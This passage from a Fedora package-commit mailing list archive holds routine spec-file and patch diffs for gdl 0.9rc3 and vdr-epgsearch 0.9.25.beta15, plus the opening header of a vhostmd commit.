 @BUILDASLIBRARY_TRUE@@DARWIN_TRUE at libgdl_la_LDFLAGS = $(all_libraries) -Wl,-m
- at BUILDASLIBRARY_TRUE@libgdl_la_LIBADD = $(top_builddir)/src/antlr/libantlr.la -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+ at BUILDASLIBRARY_TRUE@libgdl_la_LIBADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 all: all-recursive
 
 .SUFFIXES:


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	12 Mar 2009 14:55:31 -0000	1.13
+++ .cvsignore	15 Oct 2009 18:00:52 -0000	1.14
@@ -1 +1 @@
-gdl-0.9rc2-20090312.tar.bz2
+gdl-0.9rc3.tar.gz


Index: gdl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/devel/gdl.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- gdl.spec	24 Jul 2009 23:43:08 -0000	1.48
+++ gdl.spec	15 Oct 2009 18:00:52 -0000	1.49
@@ -2,34 +2,38 @@
 
 Name:           gdl
 Version:        0.9
-Release:        0.6.rc2.20090312%{?dist}
+Release:        0.7.rc3%{?dist}
 Summary:        GNU Data Language
 
 Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://gnudatalanguage.sourceforge.net/
-#Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2.tar.bz2
-# cvs -z3 -d :pserver:anonymous at gnudatalanguage.cvs.sourceforge.net:/cvsroot/gnudatalanguage export -D 20090312 -d gdl-0.9rc2-20090312 gdl
-# tar cjf gdl-0.9rc2-20090312.tar.bz2 gdl-0.9rc2-20090312
-Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2-20090312.tar.bz2
+Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc3.tar.gz
+# Made with makecvstarball
+#Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2-20090603.tar.bz2
 Source1:        gdl.csh
 Source2:        gdl.sh
-Patch1:         gdl-0.9pre5-ppc64.patch
+Source3:        makecvstarball
 Patch2:         gdl-0.9rc1-gcc43.patch
 # Build with system antlr library.  Request for upstream change here:
 # https://sourceforge.net/tracker/index.php?func=detail&aid=2685215&group_id=97659&atid=618686
-Patch3:         gdl-0.9rc2-20090312-antlr.patch
-# gcc 4.4.0 catches more class issues - add needed friend
-# https://sourceforge.net/tracker/index.php?func=detail&aid=2634356&group_id=97659&atid=618683
-Patch4:         gdl-0.9rc2-20090224-friend.patch
+Patch3:         gdl-0.9rc3-antlr.patch
+Patch4:         gdl-0.9rc2-20090504-antlr-auto.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+#RHEL doesn't have the needed antlr version/headers, old plplot
+%if !0%{?rhel}
 BuildRequires:  antlr
+%define plplot_config %{nil}
+%else
+%define plplot_config --enable-oldplplot
+%endif
 BuildRequires:  readline-devel, ncurses-devel
 BuildRequires:  gsl-devel, plplot-devel, ImageMagick-c++-devel
 BuildRequires:  netcdf-devel, hdf5-devel, libjpeg-devel
 BuildRequires:  python-devel, python-numarray, python-matplotlib
 BuildRequires:  fftw-devel, hdf-devel, proj-devel
+BuildRequires:  autoconf, automake, libtool
 # Needed to pull in drivers
 Requires:       plplot
 Requires:       %{name}-common = %{version}-%{release}
@@ -46,25 +50,32 @@ Systems Inc.
 Summary:        Common files for GDL
 Group:          Applications/Engineering
 Requires:       %{name}-runtime = %{version}-%{release}
+%if !0%{?rhel}
 BuildArch:      noarch
+%endif
 
 %description    common
 Common files for GDL
 
 
 %prep
-%setup -q -n %{name}-%{version}rc2-20090312
-%patch1 -p1 -b .ppc64
+%setup -q -n %{name}-%{version}rc3
 %patch2 -p1 -b .gcc43
+%if !0%{?rhel}
 %patch3 -p1 -b .antlr
-%patch4 -p1 -b .friend
+%patch4 -p1 -b .antlr-auto
+%endif
+%if !0%{?rhel}
 rm -rf src/antlr
+%endif
+rm ltmain.sh
+autoreconf --install
 
 
 %build
 export CPPFLAGS="-DH5_USE_16_API"
-%global _configure ../configure
 %configure --disable-dependency-tracking --disable-static --with-fftw \
+           %{plplot_config} \
            INCLUDES="-I/usr/include/netcdf -I/usr/include/hdf" \
            LIBS="-L%{_libdir}/hdf"
 make %{?_smp_mflags}
@@ -85,6 +96,11 @@ install -m 0644 %SOURCE1 $RPM_BUILD_ROOT
 install -m 0644 %SOURCE2 $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d
 
 
+%check
+cd testsuite
+echo ".r test_suite" | ../src/gdl
+
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -101,6 +117,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 15 2009 - Orion Poplawski <orion at cora.nwra.com> - 0.9-0.7.rc3
+- Update to 0.9rc3
+- Drop ppc64, friend patches fixed upstream
+- Add source for makecvstarball
+- Rebase antlr patch, add automake source version
+- Add conditionals for EPEL builds
+- Add %%check section
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-0.6.rc2.20090312
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Mar 2009 14:55:31 -0000	1.13
+++ sources	15 Oct 2009 18:00:52 -0000	1.14
@@ -1 +1 @@
-a3f361a43164617934134300cbe51207  gdl-0.9rc2-20090312.tar.bz2
+94a29e13ec5d71e664659b32e421b02e  gdl-0.9rc3.tar.gz


--- gdl-0.9pre5-ppc64.patch DELETED ---


--- gdl-0.9pre6-plplot.patch DELETED ---


--- gdl-0.9rc2-20090224-friend.patch DELETED ---


--- gdl-0.9rc2-20090312-antlr.patch DELETED ---



From scop at fedoraproject.org  Thu Oct 15 18:08:07 2009
From: scop at fedoraproject.org (=?utf-8?q?Ville_Skytt=C3=A4?=)
Date: Thu, 15 Oct 2009 18:08:07 +0000 (UTC)
Subject: rpms/vdr-epgsearch/devel vdr-epgsearch-0.9.25.beta15-fedora.patch, 
	NONE, 1.1 vdr-epgsearch-0.9.25.beta15-finnish.patch, NONE,
	1.1 vdr-epgsearch-0.9.25.beta15-regexlib.patch, NONE,
	1.1 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 vdr-epgsearch.spec,
	1.1, 1.2 vdr-epgsearch-0.9.25.beta14-fedora.patch, 1.1,
	NONE vdr-epgsearch-0.9.25.beta14-finnish.patch, 1.1,
	NONE vdr-epgsearch-0.9.25.beta14-mansect.patch, 1.1,
	NONE vdr-epgsearch-0.9.25.beta14-regexinc.patch, 1.1,
	NONE vdr-epgsearch-0.9.25.beta14-regexlib.patch, 1.1,
	NONE vdr-epgsearch-0.9.25.beta14-sendmail.patch, 1.1, NONE
Message-ID: <20091015180807.750AE11C00DB@cvs1.fedora.phx.redhat.com>

Author: scop

Update of /cvs/pkgs/rpms/vdr-epgsearch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1056

Modified Files:
	.cvsignore sources vdr-epgsearch.spec 
Added Files:
	vdr-epgsearch-0.9.25.beta15-fedora.patch 
	vdr-epgsearch-0.9.25.beta15-finnish.patch 
	vdr-epgsearch-0.9.25.beta15-regexlib.patch 
Removed Files:
	vdr-epgsearch-0.9.25.beta14-fedora.patch 
	vdr-epgsearch-0.9.25.beta14-finnish.patch 
	vdr-epgsearch-0.9.25.beta14-mansect.patch 
	vdr-epgsearch-0.9.25.beta14-regexinc.patch 
	vdr-epgsearch-0.9.25.beta14-regexlib.patch 
	vdr-epgsearch-0.9.25.beta14-sendmail.patch 
Log Message:
* Thu Oct 15 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.3.beta15
- Update to 0.9.25.beta15.
- Sendmail, regex includes and man section patches applied upstream.
- Point URL to English version of the project home page.


vdr-epgsearch-0.9.25.beta15-fedora.patch:
 epgsearch.c    |   22 +++++++++++-----------
 epgsearchcfg.c |    2 +-
 2 files changed, 12 insertions(+), 12 deletions(-)

--- NEW FILE vdr-epgsearch-0.9.25.beta15-fedora.patch ---
diff -up epgsearch-0.9.25.beta15/epgsearch.c~ epgsearch-0.9.25.beta15/epgsearch.c
--- epgsearch-0.9.25.beta15/epgsearch.c~	2009-09-23 19:53:21.000000000 +0300
+++ epgsearch-0.9.25.beta15/epgsearch.c	2009-10-15 01:30:59.000000000 +0300
@@ -83,7 +83,7 @@ int cLogFile::loglevellimit = 0;
 bool cPluginEpgsearch::VDR_readyafterStartup = false;
 
 // external SVDRPCommand
-const char *cSVDRPClient::SVDRPSendCmd = "svdrpsend.pl";
+const char *cSVDRPClient::SVDRPSendCmd = "svdrpsend";
 
 cPluginEpgsearch::cPluginEpgsearch(void)
 {
@@ -447,16 +447,16 @@ bool cPluginEpgsearch::Start(void)
    LoadUserVars();
    LoadConfD();
 
-   ChannelGroups.Load(AddDirectory(CONFIGDIR, "epgsearchchangrps.conf"), true);
-   Blacklists.Load(AddDirectory(CONFIGDIR, "epgsearchblacklists.conf"));
-   SearchExts.Load(AddDirectory(CONFIGDIR, "epgsearch.conf"));
-   SearchTemplates.Load(AddDirectory(CONFIGDIR, "epgsearchtemplates.conf"));
-   RecsDone.Load(AddDirectory(CONFIGDIR, "epgsearchdone.data"));
-   SwitchTimers.Load(AddDirectory(CONFIGDIR, "epgsearchswitchtimers.conf"));
-   NoAnnounces.Load(AddDirectory(CONFIGDIR, "noannounce.conf"));
-   DefTimerCheckModes.Load(AddDirectory(CONFIGDIR, "deftimerchkmodes.conf"));
-   TimersDone.Load(AddDirectory(CONFIGDIR, "timersdone.conf"));
-   PendingNotifications.Load(AddDirectory(CONFIGDIR, "pendingnotifications.conf"));
+   ChannelGroups.Load("__VARDIR__/epgsearch/epgsearchchangrps.conf", true);
+   Blacklists.Load("__VARDIR__/epgsearch/epgsearchblacklists.conf");
+   SearchExts.Load("__VARDIR__/epgsearch/epgsearch.conf");
+   SearchTemplates.Load("__VARDIR__/epgsearch/epgsearchtemplates.conf");
+   RecsDone.Load("__VARDIR__/epgsearch/epgsearchdone.data");
+   SwitchTimers.Load("__VARDIR__/epgsearch/epgsearchswitchtimers.conf");
+   NoAnnounces.Load("__VARDIR__/epgsearch/noannounce.conf");
+   DefTimerCheckModes.Load("__VARDIR__/epgsearch/deftimerchkmodes.conf");
+   TimersDone.Load("__VARDIR__/epgsearch/timersdone.conf");
+   PendingNotifications.Load("__VARDIR__/epgsearch/pendingnotifications.conf");
 
    cSearchTimerThread::Init(this);    
    cSwitchTimerThread::Init();    
diff -up epgsearch-0.9.25.beta15/epgsearchcfg.c~ epgsearch-0.9.25.beta15/epgsearchcfg.c
--- epgsearch-0.9.25.beta15/epgsearchcfg.c~	2009-09-22 21:13:52.000000000 +0300
+++ epgsearch-0.9.25.beta15/epgsearchcfg.c	2009-10-15 01:31:07.000000000 +0300
@@ -76,7 +76,7 @@ cEPGSearchConfig::cEPGSearchConfig(void)
   strcpy(MailAuthUser, "");
   strcpy(MailAuthPass, "");
   strcpy(LastMailConflicts, "");
-  mailViaScript = 1;
+  mailViaScript = 0;
   manualTimerCheckDefault = 0;
   noAnnounceWhileReplay = 0;
   TimerProgRepeat = 0;

vdr-epgsearch-0.9.25.beta15-finnish.patch:
 fi_FI.po |   17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

--- NEW FILE vdr-epgsearch-0.9.25.beta15-finnish.patch ---
diff --git a/po/fi_FI.po b/po/fi_FI.po
index f43dbfb..ce89afe 100644
--- a/po/fi_FI.po
+++ b/po/fi_FI.po
@@ -11,7 +11,7 @@ msgstr ""
 "Project-Id-Version: VDR 1.5.7\n"
 "Report-Msgid-Bugs-To: <cwieninger at gmx.de>\n"
 "POT-Creation-Date: 2009-09-21 19:28+0200\n"
-"PO-Revision-Date: 2009-07-19 23:22+0200\n"
+"PO-Revision-Date: 2009-10-15 20:52+0200\n"
 "Last-Translator: Ville Skytt?? <ville.skytta at iki.fi>\n"
 "Language-Team:  <vdr at linuxtv.org>\n"
 "MIME-Version: 1.0\n"
@@ -495,7 +495,7 @@ msgid "Help$Set this to 'yes' if you want to get an email notification about the
 msgstr "T??ll?? asetuksella saat ilmoitukset automaattisesti lis??tyist?? hakuajastimista s??hk??postiisi."
 
 msgid "Time between mails [h]"
-msgstr ""
+msgstr "S??hk??postin l??hetysv??li [h]"
 
 msgid ""
 "Help$Specifiy how much time in [h] you would\n"
@@ -503,6 +503,10 @@ msgid ""
 "With '0' you get a new mail after each\n"
 "search timer update with new results."
 msgstr ""
+"V??himm??isv??liaika tunteina s??hk??postien\n"
+"l??hetykselle. Mik??li 0, uusi s??hk??posti\n"
+"l??hetet????n aina hakuajastimen p??ivittyess??\n"
+"uusilla tuloksilla."
 
 msgid "Timer conflict notification"
 msgstr "Ilmoitukset p????llekk??isist?? ajastimista"
@@ -588,7 +592,7 @@ msgid "No timers were deleted."
 msgstr "Yht????n ajastinta ei poistettu."
 
 msgid "No new events to announce."
-msgstr ""
+msgstr "Ei uusia ilmoitettavia tapahtumia."
 
 msgid "This version of EPGSearch does not support this service!"
 msgstr "EPGSearch-laajennos ei tarjoa vaadittavaa palvelua!"
@@ -954,9 +958,8 @@ msgstr "Muokkaa hakua"
 msgid "Record"
 msgstr "Tallenna"
 
-#, fuzzy
 msgid "Announce by OSD"
-msgstr "muistutus"
+msgstr "muistutus kuvaruutun??yt??lle"
 
 msgid "Switch only"
 msgstr "kanavanvaihto"
@@ -964,9 +967,8 @@ msgstr "kanavanvaihto"
 msgid "Announce and switch"
 msgstr "muistutus ja kanavanvaihto"
 
-#, fuzzy
 msgid "Announce by mail"
-msgstr "muistutus"
+msgstr "muistutus s??hk??postitse"
 
 msgid "Selection"
 msgstr "valittu"
@@ -1237,3 +1239,4 @@ msgstr "%02ldh"
 #, c-format
 msgid "in %02ldm"
 msgstr "%02ldm"
+

vdr-epgsearch-0.9.25.beta15-regexlib.patch:
 INSTALL                    |    8 ++++----
 INSTALL.DE                 |    6 +++---
 Makefile                   |   23 ++++++++---------------
 doc-src/en/epgsearch.1.txt |    4 ++--
 4 files changed, 17 insertions(+), 24 deletions(-)

--- NEW FILE vdr-epgsearch-0.9.25.beta15-regexlib.patch ---
diff -up epgsearch-0.9.25.beta15/doc-src/en/epgsearch.1.txt~ epgsearch-0.9.25.beta15/doc-src/en/epgsearch.1.txt
--- epgsearch-0.9.25.beta15/doc-src/en/epgsearch.1.txt~	2009-09-22 21:03:17.000000000 +0300
+++ epgsearch-0.9.25.beta15/doc-src/en/epgsearch.1.txt	2009-10-15 01:37:21.000000000 +0300
@@ -208,8 +208,8 @@ With 'Regular expression' you can setup 
 search term. You don't need a leading and trailing '/' in the
 expression. By default these are POSIX extended regular expressions.
 If you like to have Herl compatible regular expression, simply edit
-the plugins Makefile and uncomment #HAVE_PCREPOSIX=1 to
-HAVE_PCREPOSIX=1 (you will need pcreposix installed, comes with
+the plugins Makefile and uncomment '#REGEXLIB = pcre' to
+'REGEXLIB = pcre' (you will need pcreposix installed, comes with
 libpcre from www.pcre.org, but it's already part of most distributions).
 
 See also C<epgsearch(4)> 'Description of the search process'.
diff -up epgsearch-0.9.25.beta15/INSTALL~ epgsearch-0.9.25.beta15/INSTALL
--- epgsearch-0.9.25.beta15/INSTALL~	2009-08-23 21:54:24.000000000 +0300
+++ epgsearch-0.9.25.beta15/INSTALL	2009-10-15 01:37:22.000000000 +0300
@@ -8,8 +8,8 @@ libpcre
 -------
 For support of Perl compatible regular expressions in a search you have to use
 libpcre:  
-simply edit the plugins Makefile and uncomment '#HAVE_PCREPOSIX=1' to
-'HAVE_PCREPOSIX=1' or append 'HAVE_PCREPOSIX=1' to your 'make plugins'
+simply edit the plugins Makefile and uncomment '#REGEXLIB = pcre' to
+'REGEXLIB = pcre' or append 'REGEXLIB=pcre' to your 'make plugins'
 call. (you will need pcreposix installed, comes with libpcre from
 www.pcre.org, but it's already part of most distributions
 HINT: if all compiles well, but after starting VDR you get:
@@ -20,7 +20,7 @@ update libpcre from www.pcre.org and rec
 
 There seems to be a problem with PCRE on some systems, that produce a crash
 when using regexp. Til now, I could not find the reason. So perhaps dont use
-HAVE_PCREPOSIX=1, if you don't really need it.
+REGEXLIB=pcre, if you don't really need it.
 
 libtre
 ------
@@ -29,7 +29,7 @@ search patterns with a maximum of 31 cha
 if more than 31 characters are used. To avoid this limitation you can use the
 TRE package (http://laurikari.net/tre/). Install tre (on debian: 
 apt-get install tre-agrep libtre4 libtre-dev) and activate epgsearch's support
-for it in the Makefile by uncommenting '#HAVE_LIBTRE=1' to 'HAVE_LIBTRE=1' or append
+for it in the Makefile by uncommenting '#REGEXLIB = pcre' to 'REGEXLIB = tre' or append
 it to your 'make plugins' call. After recompiling epgsearch will now use an
 algorithm similiar to 'agrep' with no limits.
 
diff -up epgsearch-0.9.25.beta15/INSTALL.DE~ epgsearch-0.9.25.beta15/INSTALL.DE
--- epgsearch-0.9.25.beta15/INSTALL.DE~	2009-08-23 21:54:24.000000000 +0300
+++ epgsearch-0.9.25.beta15/INSTALL.DE	2009-10-15 01:37:24.000000000 +0300
@@ -2,8 +2,8 @@ Hier gibt es nichts besonderes. Bitte wi
 installieren (entpacken, soft link, make plugins). Eine kleine
 Besonderheit: Wer lieber mit Perl compatible regular expressions in
 der Suche arbeitet, sollte einfach im Makefile des Plugins
-#HAVE_PCREPOSIX=1 in HAVE_PCREPOSIX=1 ?ndern oder einfach
-HAVE_PCREPOSIX an den 'make plugins'-Aufruf anh?ngen. Hierzu muss pcreposix
+'#REGEXLIB = pcre' in 'REGEXLIB = pcre' ?ndern oder einfach
+REGEXLIB=pcre an den 'make plugins'-Aufruf anh?ngen. Hierzu muss pcreposix
 installiert sein, das in der libpcre von www.pcre.org enthalten ist.
 Dies sollte aber in den meisten Distributionen bereits enthalten sein.
 
@@ -18,5 +18,5 @@ kompilieren.
 Scheinbar gibt es auf manchen Systemen Probleme mit PCRE, die sich in einem
 Crash ?u?ern, wenn man reg. Ausdr?cke benutzt. Da ich die Ursache bisher
 nicht
-finden konnte, empfehle ich deshalb auf HAVE_PCREPOSIX=1 zu verzichten, wenn
+finden konnte, empfehle ich deshalb auf REGEXLIB=pcre zu verzichten, wenn
 es nicht unbedingt notwendig ist.
diff -up epgsearch-0.9.25.beta15/Makefile~ epgsearch-0.9.25.beta15/Makefile
--- epgsearch-0.9.25.beta15/Makefile~	2009-09-23 19:48:58.000000000 +0300
+++ epgsearch-0.9.25.beta15/Makefile	2009-10-15 01:37:09.000000000 +0300
@@ -23,15 +23,11 @@ AUTOCONFIG=1
 ### if AUTOCONFIG is not active (i.e. commented) you can manually enable the 
 ### optional modules or patches for other plugins
 ifndef AUTOCONFIG
-# uncomment this if you want to use Perl compatible regular expressions (PCRE),
+# if you want to use Perl compatible regular expressions (PCRE) or libtre for
+# unlimited fuzzy searching, uncomment this and set the value to pcre or tre
 # also have a look at INSTALL for further notes on this
 
-#HAVE_PCREPOSIX=1
-
-# uncomment this if you want to use libtre for unlimited fuzzy searching,
-# also have a look at INSTALL for further notes on this
-
-#HAVE_LIBTRE=1
+#REGEXLIB = pcre
 
 # uncomment this to enable support for the pin plugin.
 
@@ -76,10 +72,9 @@ TMPDIR = /tmp
 ### auto configuring modules
 ifdef AUTOCONFIG
 	ifeq (exists, $(shell pkg-config libpcre && echo exists))
-		HAVE_PCREPOSIX = 1
-	endif
-	ifeq (exists, $(shell pkg-config tre && echo exists))
-		HAVE_LIBTRE = 1
+		REGEXLIB = pcre
+	else ifeq (exists, $(shell pkg-config tre && echo exists))
+		REGEXLIB = tre
 	endif
 	ifeq (exists, $(shell test -e ../pin && echo exists))
 		USE_PINPLUGIN = 1
@@ -136,14 +131,12 @@ DEFINES4 += $(EPGSEARCH_DEFINES) -DPLUGI
 
 OBJS = afuzzy.o blacklist.o changrp.o confdloader.o conflictcheck.o conflictcheck_thread.o distance.o $(PLUGIN).o epgsearchcats.o epgsearchcfg.o epgsearchext.o epgsearchsetup.o  epgsearchsvdrp.o epgsearchtools.o i18n.o mail.o md5.o menu_announcelist.o menu_blacklistedit.o menu_blacklists.o menu_commands.o menu_conflictcheck.o menu_deftimercheckmethod.o menu_dirselect.o menu_event.o menu_favorites.o menu_main.o menu_myedittimer.o menu_quicksearch.o menu_recsdone.o menu_search.o menu_searchactions.o menu_searchedit.o menu_searchresults.o menu_searchtemplate.o menu_switchtimers.o menu_templateedit.o menu_timersdone.o menu_whatson.o noannounce.o pending_notifications.o rcfile.o  recdone.o recstatus.o searchtimer_thread.o services.o switchtimer.o switchtimer_thread.o templatefile.o timer_thread.o timerdone.o timerstatus.o uservars.o varparser.o  
 
-ifdef HAVE_PCREPOSIX
+ifeq ($(REGEXLIB), pcre)
 LIBS += $(shell pcre-config --libs-posix)
 #LIBS += -L/usr/lib -lpcreposix -lpcre
 INCLUDE += $(shell pcre-config --cflags)
 DEFINES += -DHAVE_PCREPOSIX
-endif
-
-ifdef HAVE_LIBTRE
+else ifeq ($(REGEXLIB), tre)
 LIBS += -L$(shell pkg-config --variable=libdir tre) $(shell pkg-config --libs tre)
 #LIBS += -L/usr/lib -ltre
 DEFINES += -DHAVE_LIBTRE


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vdr-epgsearch/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Aug 2009 08:24:04 -0000	1.2
+++ .cvsignore	15 Oct 2009 18:08:06 -0000	1.3
@@ -1 +1 @@
-vdr-epgsearch-0.9.25.beta14.tgz
+vdr-epgsearch-0.9.25.beta15.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vdr-epgsearch/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Aug 2009 08:24:04 -0000	1.2
+++ sources	15 Oct 2009 18:08:07 -0000	1.3
@@ -1 +1 @@
-ea83d6066cb0ffd67b1896aca58d5dc8  vdr-epgsearch-0.9.25.beta14.tgz
+963cad9227241e59576a0d1fd012ed67  vdr-epgsearch-0.9.25.beta15.tgz


Index: vdr-epgsearch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vdr-epgsearch/devel/vdr-epgsearch.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vdr-epgsearch.spec	11 Aug 2009 08:24:05 -0000	1.1
+++ vdr-epgsearch.spec	15 Oct 2009 18:08:07 -0000	1.2
@@ -4,7 +4,7 @@
 %global vardir    %(vdr-config --vardir     2>/dev/null || echo ERROR)
 %global apiver    %(vdr-config --apiversion 2>/dev/null || echo ERROR)
 %global vdr_user  %(vdr-config --user       2>/dev/null || echo ERROR)
-%global beta      beta14
+%global beta      beta15
 
 Name:           vdr-%{pname}
 Version:        0.9.25
@@ -13,29 +13,22 @@ Summary:        Powerful schedules menu 
 
 Group:          Applications/Multimedia
 License:        GPLv2+
-URL:            http://winni.vdr-developer.org/epgsearch/
+URL:            http://winni.vdr-developer.org/epgsearch/index_eng.html
 Source0:        http://winni.vdr-developer.org/epgsearch/downloads/beta/%{name}-%{version}.%{beta}.tgz
 Source1:        %{name}.conf
 Source2:        %{name}-epgsearchonly.conf
 Source3:        %{name}-conflictcheckonly.conf
 Source4:        %{name}-quickepgsearch.conf
 # Fedora specific, no need to send upstream
-Patch0:         %{name}-0.9.25.beta14-fedora.patch
-# http://www.vdr-developer.org/mantisbt/view.php?id=540
-Patch1:         %{name}-0.9.25.beta14-sendmail.patch
-# http://www.vdr-developer.org/mantisbt/view.php?id=541
-Patch2:         %{name}-0.9.25.beta14-regexinc.patch
+Patch0:         %{name}-0.9.25.beta15-fedora.patch
 # http://www.vdr-developer.org/mantisbt/view.php?id=543
-Patch3:         %{name}-0.9.25.beta14-regexlib.patch
-# http://www.vdr-developer.org/mantisbt/view.php?id=539
-Patch4:         %{name}-0.9.25.beta14-mansect.patch
-# http://www.vdr-developer.org/mantisbt/view.php?id=542
-Patch5:         %{name}-0.9.25.beta14-finnish.patch
+Patch1:         %{name}-0.9.25.beta15-regexlib.patch
+# http://www.vdr-developer.org/mantisbt/view.php?id=551
+Patch2:         %{name}-0.9.25.beta15-finnish.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  vdr-devel
 BuildRequires:  gettext
-BuildRequires:  /usr/bin/pod2man
 Requires:       vdr(abi)%{?_isa} = %{apiver}
 
 %description
@@ -47,12 +40,10 @@ reusable queries which can be used as dy
 
 %prep
 %setup -q -n %{pname}-%{version}.%{beta}
+find . -name "*~" -delete # unclean 0.9.25.beta15 tarball
 sed -e 's|__VARDIR__|%{vardir}|g' %{PATCH0} | %{__patch} --fuzz=0
 %patch1 -p1
 %patch2 -p1
-%patch3 -p1
-%patch4 -p1
-%patch5 -p1
 
 for f in scripts/epgsearchcmds-french.conf conf/epgsearchcats.conf-tvm2vdr* ; do
     iconv -f iso-8859-1 -t utf-8 -o $f.utf8 $f ; mv $f.utf8 $f
@@ -64,7 +55,6 @@ chmod -x scripts/*
 %build
 make %{?_smp_mflags} AUTOCONFIG= LIBDIR=. LOCALEDIR=./locale \
     VDRDIR=%{_libdir}/vdr all
-./docsrc2man.sh
 
 
 %install
@@ -115,7 +105,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Aug  3 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.3.beta14
+* Thu Oct 15 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.3.beta15
+- Update to 0.9.25.beta15.
+- Sendmail, regex includes and man section patches applied upstream.
+- Point URL to English version of the project home page.
+
+* Mon Aug  3 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.3.beta14
 - Move many files that are not config ones but more like state data edited
   through the OSD from /etc to /var.
 - Patch to use sendmail for sending mail by default.
@@ -123,7 +118,7 @@ rm -rf $RPM_BUILD_ROOT
 - Include sample config files in docs.
 - Own config dir structure.
 
-* Sun Jul 19 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.2.beta14
+* Sun Jul 19 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.2.beta14
 - Revert to using system regex, building with more than one regexp
   implementation makes no sense and pcre and tre seem to have more issues.
   Also patch to make builds with both pcre and tre less likely to happen.
@@ -132,7 +127,7 @@ rm -rf $RPM_BUILD_ROOT
 - Patch to fix embedded man page sections for non-section 5 man pages.
 - Patch to improve some Finnish translations.
 
-* Wed Jul 15 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.1.beta14
+* Wed Jul 15 2009 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.25-0.1.beta14
 - Update to 0.9.25.beta14; gcc 4.3 patch no longer needed.
 - Build with PCRE and TRE support.
 - Use %%global instead of %%define.
@@ -149,22 +144,22 @@ rm -rf $RPM_BUILD_ROOT
 - Handle VDR 1.6 style i18n
 - Update license
 
-* Wed Sep  5 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.23-0.1
+* Wed Sep  5 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.23-0.1
 - 0.9.23.
 - License: GPL+
 
-* Sun May 27 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.22-0.1
+* Sun May 27 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.22-0.1
 - 0.9.22.
 
-* Sun Apr 29 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.21-0.1
+* Sun Apr 29 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.21-0.1
 - 0.9.21.
 - Include extra scripts in docs.
 
-* Tue Jan 30 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.20-0.1
+* Tue Jan 30 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.20-0.1
 - 0.9.20.
 
-* Sun Jan  7 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.19-0.2
+* Sun Jan  7 2007 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.19-0.2
 - Rebuild for VDR 1.4.5.
 
-* Sun Nov 19 2006 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.19-0.1
+* Sun Nov 19 2006 Ville Skytt?? <ville.skytta at iki.fi> - 0.9.19-0.1
 - First build.


--- vdr-epgsearch-0.9.25.beta14-fedora.patch DELETED ---


--- vdr-epgsearch-0.9.25.beta14-finnish.patch DELETED ---


--- vdr-epgsearch-0.9.25.beta14-mansect.patch DELETED ---


--- vdr-epgsearch-0.9.25.beta14-regexinc.patch DELETED ---


--- vdr-epgsearch-0.9.25.beta14-regexlib.patch DELETED ---


--- vdr-epgsearch-0.9.25.beta14-sendmail.patch DELETED ---



From rjones at fedoraproject.org  Thu Oct 15 18:20:50 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 15 Oct 2009 18:20:50 +0000 (UTC)
Subject: rpms/vhostmd/EL-5 vhostmd.spec,1.2,1.3
Message-ID: <20091015182050.08D9E11C029F@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5780

Modified Files:
	vhostmd.spec 
Log Message:
